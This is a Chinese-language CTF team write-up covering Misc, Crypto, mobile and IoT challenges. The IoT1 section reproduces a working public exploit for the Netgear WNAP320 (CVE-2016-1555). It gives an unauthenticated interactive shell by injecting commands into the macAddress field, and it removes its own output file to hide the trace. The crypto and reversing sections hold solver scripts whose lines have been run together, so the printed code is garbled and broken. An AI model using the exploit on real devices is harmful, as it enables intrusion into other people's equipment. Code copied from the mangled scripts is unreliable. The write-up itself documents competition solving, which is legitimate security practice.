VIVO千镜杯writeup
0x21战队WRITEUP
战队信息
战队名称:0x21
解题情况
解题过程
Misc
签到题
签到题有手就行
flag
flag{6b92a6a3a8d6d422c78a4c6304f06eea}
黑客入侵
打开流量包,发现上传的php。全部导出。在最后发现上传的php文件名称。
通过流量判断是哥斯拉流量,但是写了gesila发现flag错误。查了百度才知道是godzilla。
随便找一个上传的马的php文件都可以看到靶机和端口。
最后exp:
import hashlib
mm = "192.168.68.128:9080+tlswslhaoev4lva.php+godzilla"
flag_2 = "flag{" + hashlib.md5(mm.encode()).hexdigest() + "}"
print(flag_2)
flag
flag{fe7c3416a2ace0d97e4029e77368c5ab}
Crypto
safe_chat_db
DwonUnderCTF2021原题。
github找了exp直接打。但是一直不出,最后把后面这几个if “flag” in message: break注释掉,就出了。
github链接:Challenges_2021_Public/attack.py at main · DownUnderCTF/Challenges_2021_Public (github.com)
exp
import sys
import sqlite3
import itertools
from math import gcd
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpaddb = sys.argv[1] if len(sys.argv) > 1 else './enc_chall.db'
cur = (conn := sqlite3.connect(db)).cursor()cur.execute("SELECT * FROM User;")
users = [(name, RSA.importKey(k)) for name, k in cur]
for (an, ak), (bn, bk) in itertools.combinations(users, 2):if (p := gcd(ak.n, bk.n)) > 1:breakprint(an, bn)
ak = RSA.construct((ak.n, 65537, pow(65537, -1, (p - 1) * ((q := (ak.n // p)) - 1)), p, q))
bk = RSA.construct((bk.n, 65537, pow(65537, -1, (p - 1) * ((q := (bk.n // p)) - 1)), p, q))for user, rsa_key in [(an, ak), (bn, bk)]:oaep = PKCS1_OAEP.new(rsa_key)cur.execute('''SELECTConversation.id,initiator,peer,encrypted_aes_key_for_initiator,encrypted_aes_key_for_peer,ivFROM ConversationINNER JOIN ParametersON Parameters.id = Conversation.initial_parametersWHERE initiator = ? OR peer = ?;''', (user, user))for cid, initiator, peer, initiator_key, peer_key, iv in cur.fetchall():print(f"{cid}: {initiator} & {peer}")attribute = ""aes = Noneif initiator == user:attribute = "encrypted_aes_key_for_initiator"aes = AES.new(oaep.decrypt(initiator_key), AES.MODE_CBC, iv=iv)else:attribute = "encrypted_aes_key_for_peer"aes = AES.new(oaep.decrypt(peer_key), AES.MODE_CBC, iv=iv)cur.execute('''SELECTencrypted_message,from_initiator,''' + f"{attribute}, " + '''ivFROM MessageINNER JOIN ParametersON Parameters.id = next_parametersWHERE conversation = ?ORDER BYtimestamp ASC;''', (cid,))for message, from_initiator, key, iv in cur.fetchall():print(f"{[peer, initiator][from_initiator]}:", message := unpad(aes.decrypt(message), AES.block_size).decode())# if "flag" in message:# breakaes = AES.new(oaep.decrypt(key), AES.MODE_CBC, iv=iv)# if "flag" in message:# break# if "flag" in message:# breakconn.close()
flag
flag{3237a6f9fe1e96155a1d73b4afaf624c}
贰步
这个题就比较离谱了。发现第一步是个txt,第二步是个压缩包。第一步网上有个脚本,类似于actf的magicnum题,但又不一样。这里把得到的数字转字节,得到压缩包的解压密码
from Crypto.Util.number import long_to_bytes
from libnum import*
import struct
import binasciis = [2.62564299192e-06,1.04885682362e-08,6.70158373239e-10,2.62219801428e-09,2.65526978183e-06,2.65544508693e-06,4.29620995419e-05,1.05481356982e-08,4.21880024248e-08]
a = b''
b = b''
for i in s:a += struct.pack('<f',i) #小端
print(a)for j in s:b += struct.pack('>f',j) #大端
print(b)print(long_to_bytes(a))
print(long_to_bytes(b))# b'440661424680224101263426424817523253'
# b'604424160864142262106243842425713523'
# b"T\xdeI ;zF\x94\xab\x86\x0f\n'\x1a5"
# b'thisispasswdsss'
解压压缩包。得到一个密码题,是De1ctf2019的xor的原题,链接:De1CTF-2019部分wp_CTF小白的博客-CSDN博客,直接拿exp来跑。这里需要把salt改成压缩包的密码。cc的值改成txt中的cc,即:
import string
from binascii import unhexlify, hexlify
from itertools import *def bxor(a, b): # xor two byte strings of different lengthsif len(a) > len(b):return bytes([x ^ y for x, y in zip(a[:len(b)], b)])else:return bytes([x ^ y for x, y in zip(a, b[:len(a)])])def hamming_distance(b1, b2):differing_bits = 0for byte in bxor(b1, b2):differing_bits += bin(byte).count("1")return differing_bitsdef break_single_key_xor(text):key = 0possible_space = 0max_possible = 0letters = string.ascii_letters.encode('ascii')for a in range(0, len(text)):maxpossible = 0for b in range(0, len(text)):if(a == b):continuec = text[a] ^ text[b]if c not in letters and c != 0:continuemaxpossible += 1if maxpossible > max_possible:max_possible = maxpossiblepossible_space = akey = text[possible_space] ^ 0x20return chr(key)salt = "thisispasswdsss"
si = cycle(salt)
b = unhexlify(b'5e79372b2d2e67302322633068647f782f6230383f7d68246b353265657e25292a3530382e3d633966372239652a7b6a2e2764213773353a343039657b74712d63242378292a337d202322232a3c7a6e316133276533080f2a3721272b7f3f616738206a213d3d6a2b357c27702d3665387837373965702e6c2a38247f363f36303129323427206d2a3d2e3c312e6a312335312c2a633e713e2b3c3c3270232e61752424256c167c623d292d232a7363306364226c7f603f3d6520393162273330352a3f363564272d30392e312b6f7e35312c3e716367233b77253067213b287c222c392c30232c7032286e682b36722a7f3037236e363925216e267e3625292b3d2b346f421f246236382f3129746b3666362a246035036f21272c7d74703a7e3c650073382d20326626267a7f6d7d377f227f6b5e7f7d3f2d2f6267692a3567293e26246f2722276621387964656261652d2f23697b2d6b35382b792c3f2a6762352b242d3127207d322c2b34676c2f783331651d4125357f3e367c7079357827266a2c32633b37332f24772f3665276d21306b797d70273024212377252127362d2f66273f33782922787830326a2d7f236a192d76312623782a64667c2e7e6236393e6b3d2220262e25617379776262373c6b6b7c3b2a316a266a732a2c3736396a37222030366a633c7f2036662c79372c2e70272732612b2a68772b3f2a3637382d2c232266252f2f31346467266e362e3c64662b2f652523367a3e33662635782d2e212b2b28206d6727367f307335286b7c6c6a262423272b7771326731376a2432206a322d3d3e742a38')
plain = ''.join([hex(ord(c) ^ ord(next(si)))[2:].zfill(2) for c in b.decode()])
b = unhexlify(plain)
print(plain)normalized_distances = []for KEYSIZE in range(2, 40):# 我们取其中前6段计算平局汉明距离b1 = b[: KEYSIZE]b2 = b[KEYSIZE: KEYSIZE * 2]b3 = b[KEYSIZE * 2: KEYSIZE * 3]b4 = b[KEYSIZE * 3: KEYSIZE * 4]b5 = b[KEYSIZE * 4: KEYSIZE * 5]b6 = b[KEYSIZE * 5: KEYSIZE * 6]normalized_distance = float(hamming_distance(b1, b2) +hamming_distance(b2, b3) +hamming_distance(b3, b4) +hamming_distance(b4, b5) +hamming_distance(b5, b6)) / (KEYSIZE * 5)normalized_distances.append((KEYSIZE, normalized_distance))
normalized_distances = sorted(normalized_distances, key=lambda x: x[1])for KEYSIZE, _ in normalized_distances[:5]:block_bytes = [[] for _ in range(KEYSIZE)]for i, byte in enumerate(b):block_bytes[i % KEYSIZE].append(byte)keys = ''try:for bbytes in block_bytes:keys += break_single_key_xor(bbytes)key = bytearray(keys * len(b), "utf-8")plaintext = bxor(b, key)print("keysize:", KEYSIZE)print("key is:", keys, "n")s = bytes.decode(plaintext)print(s)except Exception:continue
得到一串字符:
这里交上去flag不对。但是看txt中代码,flag去掉flag{},确实是32位。所以是这个,但是>被替换掉了。这里对这个进行测试,最后fuzz得,需要把>改成0。
flag
flag{c16928791549b7eb1b708df98696be82}
移动安全
探囊取物
1、将apk文件改为zip文件
2、解压获取class.dex文件
3、利用dex2jar工具获得classes-dex2jar.jar文件
4、jd-jui打开jar文件
5、下面是jar文件
package com.ctf.crkackertwo;import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;public class MainActivity extends Activity {public Button btn_register;public EditText edit_sn;private int[] test = new int[] { 118, 105, 118, 111, 78, 101, 101, 100, 89, 111, 117 };public boolean checkSN(String paramString) {boolean bool = false;if (paramString == null)return false; try {if (paramString.length() == 0)return false; int j = this.test.length;for (int i = 0;; i++) {if (i < j) {if (this.test[i] != paramString.charAt(i))return false; } else {i = paramString.length();j = this.test.length;if (i <= j)bool = true; return bool;} } } catch (Exception exception) {exception.printStackTrace();return false;} }public void onCreate(Bundle paramBundle) {super.onCreate(paramBundle);setContentView(2130968576);this.edit_sn = (EditText)findViewById(2130903041);Button button = (Button)findViewById(2130903040);this.btn_register = button;button.setOnClickListener(new View.OnClickListener() {public void onClick(View param1View) {MainActivity mainActivity = MainActivity.this;if (!mainActivity.checkSN(mainActivity.edit_sn.getText().toString())) {Toast.makeText((Context)MainActivity.this, 2131099656, 0).show();return;} Toast.makeText((Context)MainActivity.this, 2131099654, 0).show();MainActivity.this.btn_register.setEnabled(false);MainActivity.this.setTitle(2131099652);}});}
}
6、分析checkSN函数
将输入的字符串转为数字与test数组比较
由此可以知道将test数组转为对应的ASCII码就可以了
private int[] test = new int[] {
118, 105, 118, 111, 78, 101, 101, 100, 89, 111,
117 };
这个数组就是要输入的注册码,根据ASCII表将这个数组转为对应的字符
- vivoNeedYou
7、将其输入apk运行,显示注册成功
flag
flag{vivoNeedYou}
IOT
IOT1
打开发现是WNAP320,网上搜索历史漏洞,得到一个rce:CVE-2016-1555,链接:https://www.seebug.org/vuldb/ssvid-99281
这里直接用poc来打,但是发现固件得文件地址变了。
这里只需要换一个地址即可,把boardDataWW.php改成boardDataNA.php,得到交互shell。
cat /f*得到flag
payload
# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# IoT Device: Netgear WNAP320 Access Point
# Version: WNAP320 Access Point Firmware v2.0.3import requests
import sysif(len(sys.argv) != 2):print('Must specify the IP parameter')print("eg: python3 wnap320_v2_0_3.py <IP>")sys.exit(0)host = sys.argv[1]
port = 80cmd = ''while(True):cmd = input('Shell_CMD$ ')#injecting system command part writing the command output to a output filedata = {'macAddress' : '112233445566;' + cmd + ' > ./output #','reginfo' : '0','writeData' : 'Submit'} url = 'http://' + host + '/boardDataNA.php'response = requests.post(url, data=data)if(response.ok):#read the command output resulturl = 'http://' + host + '/output'cmdOutput = requests.get(url)print(cmdOutput.text)#remove tracecmd = 'rm ./output'data = {'macAddress' : '112233445566;' + cmd + ' #','reginfo' : '0','writeData' : 'Submit'}url = 'http://' + host + '/boardDataNA.php'response = requests.post(url, data=data)else:print('[!] No response from the server.')
flag
flag{997dfadf4df0ed3a84152f46d90d37f1}
IOT2
CVE-2019–17621。
D-Link DIR-859的RCE漏洞(CVE-2019–17621)_NOSEC2019的博客-CSDN博客
这里直接用poc打,telent链接即可。
flag
flag{57b3d30598679ae0f7451e3ec3fd42e8}